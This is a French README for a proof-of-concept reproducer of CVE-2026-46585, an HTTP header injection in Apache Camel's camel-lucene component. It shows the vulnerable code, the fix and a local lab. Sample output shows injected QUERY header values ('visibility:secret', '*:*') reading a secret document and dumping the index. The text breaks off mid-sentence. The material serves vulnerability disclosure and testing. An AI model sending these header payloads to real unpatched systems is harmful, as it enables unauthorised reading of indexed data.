
Reproducteur pour CVE-2026-46585 : Injection d'en-tête QUERY camel-lucene d'Apache Camel permettant un contournement d'autorisation / exfiltration de données d'index (corrigé dans 4.14.8/4.18.3/4.21.0)
QUERY (CVE-2026-46585)Ce projet démontre une injection d'en-tête de message / contournement d'autorisation dans le composant camel-lucene d'Apache Camel, référencé sous CVE-2026-46585. Le producteur de requête Lucene lit l'expression de recherche en texte intégral depuis un en-tête Exchange, mais le nom de l'en-tête était la simple chaîne QUERY (et RETURN_LUCENE_DOCS pour le drapeau des documents). Comme ces noms ne commencent pas par le préfixe Camel / camel, HttpHeaderFilterStrategy — qui bloque uniquement l'espace de noms des en-têtes Camel à la frontière HTTP — les laisse passer directement d'une requête HTTP entrante dans l'Exchange. Tout client HTTP qui frappe une route exposant une requête Lucene derrière un consommateur HTTP peut donc définir l'en-tête QUERY et voir sa valeur exécutée sur l'index, remplaçant la requête que la route avait l'intention d'exécuter.
Cette preuve de concept démontre l'impact comme contournement d'autorisation / exfiltration de données : un client non authentifié injecte une syntaxe brute de requête Lucene pour lire un document que le point de terminaison de recherche publique n'était jamais censé renvoyer (et une requête « match-all » déverse l'intégralité de l'index).
Avis : https://camel.apache.org/security/CVE-2026-46585.html
| Propriété | Valeur |
|---|---|
| Composant | camel-lucene |
| Classe affectée | org.apache.camel.component.lucene.LuceneQueryProducer lisant LuceneConstants.HEADER_QUERY (valeur "QUERY") |
| CWE | CWE-20 (Validation d'entrée incorrecte) / CWE-639 (Contournement d'autorisation par clé contrôlée par l'utilisateur) |
| Impact | Un client HTTP définit l'en-tête QUERY → exécution d'une requête Lucene arbitraire → lecture de documents hors du périmètre prévu, ou requêtes regex gourmandes en CPU |
| Conditions préalables | Une route expose un producteur lucene:...:query derrière un consommateur HTTP (par ex. platform-http) ; non authentifiée lorsque le consommateur l'est |
| Versions affectées | De 4.0.0 avant 4.14.8, de 4.15.0 avant 4.18.3, de 4.19.0 avant 4.21.0 |
| Versions corrigées | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23509 |
| Crédit | Andrea Cosentino (Apache Software Foundation) et Yu Bao (PayPal) |
Même famille d'injection d'en-tête que CVE-2025-27636, CVE-2026-40453, CVE-2026-46454 et CVE-2026-46457, et partage la cause racine des constantes d'en-tête non préfixées par
Camelavec le jumeau camel-elasticsearchSEARCH_QUERY.
// LuceneConstants (affected 4.18.2) — the header name is the bare word "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";
// LuceneQueryProducer.process (affected 4.18.2) — the phrase comes straight from that header:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
searcher.open(indexDirectory, analyzer);
hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs); // attacker-controlled
}
LuceneSearcher analyse la phrase avec un QueryParser("contents", analyzer) classique, donc l'attaquant dispose de la syntaxe complète des requêtes Lucene : termes de champ (visibility:secret), match-all (*:*), wildcards et expressions régulières coûteuses.
Le correctif (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23509) renomme les valeurs des en-têtes selon la convention Camel — HEADER_QUERY passe de QUERY à CamelLuceneQuery, et HEADER_RETURN_LUCENE_DOCS à CamelLuceneReturnLuceneDocs — de sorte qu'elles soient filtrées à la frontière HTTP comme tous les autres en-têtes de contrôle Camel. Les noms des champs constants sont inchangés (les routes qui référencent LuceneConstants.HEADER_QUERY continuent de fonctionner) ; c'est un changement cassant uniquement pour les routes qui définissent/lisent ces en-têtes par leur chaîne brute.
from("platform-http:/search")
.removeHeaders("Camel*") // durcissement documenté — voir ci-dessous
.to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
.process(/* render the Hits as text */);
Le modèle de sécurité de l'auteur de la route est « ce point de terminaison ne sert que la recherche publique ». Comme durcissement documenté, la route supprime même l'espace de noms des en-têtes de contrôle Camel à la périphérie avec removeHeaders("Camel*"). Cela n'aide pas : l'en-tête de contrôle s'appelle QUERY, pas CamelLuceneQuery, donc il n'est supprimé ni par cet appel ni par le filtre d'en-tête HTTP intégré — ce qui est exactement le but de la CVE (et exactement ce que le renommage du correctif adresse).
L'index contient trois documents publics plus un document secret étiqueté visibility:secret dont le corps porte un marqueur de drapeau bénin. Une recherche publique normale (QUERY=onboarding, un terme simple sur le champ contents par défaut) ne le renvoie jamais ; une requête de champ injectée le fait.
La victime est la route de recherche Camel et son index ; l'attaquant est un client HTTP non authentifié qui ne fait que définir un en-tête de requête. Tout s'exécute dans une seule application autonome.
CVE-2026-46585/
├── pom.xml # camel-platform-http + camel-lucene 4.18.2
├── Dockerfile
├── docker-compose.yml # service unique autonome
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── IndexConfig.java # enregistre le répertoire d'index comme bean Camel (#kbIndexDir)
│ ├── IndexBootstrap.java # construit l'index Lucene : 3 docs publics + 1 doc secret (le drapeau)
│ ├── VictimRoute.java # from("platform-http:/search").to("lucene:kb:query")
│ └── ExploitController.java # attaquant : GET /search avec un en-tête QUERY injecté
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
=== 1) Legitimate public search (QUERY=onboarding) ===
hits=2
- Frequently asked questions about billing and account onboarding.
- Welcome onboarding guide: how to use the public knowledge base and search for articles.
secret leaked: false
=== 2) Injected query (QUERY=visibility:secret) ===
hits=1
- CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
secret leaked: true
=== 3) Match-all query (QUERY=*:*) dumps the whole index ===
hits=4
- ... (every document, including the secret one) ...
>>> Authorization-bypass / header-injection proof — an unauthenticated HTTP client read a
>>> document outside the endpoint's intended scope by injecting the QUERY header: true
La recherche par terme légitime ne renvoie que des documents publics. La requête d'attaque — ne différant que par la valeur d'un seul en-tête que le framework aurait dû filtrer — lit le document secret, et une requête match-all renvoie l'intégralité de l'index.
Toute route avec un producteur lucene:...:query accessible depuis un consommateur HTTP. Au-delà de la lecture de documents non prévus, l'attaquant peut :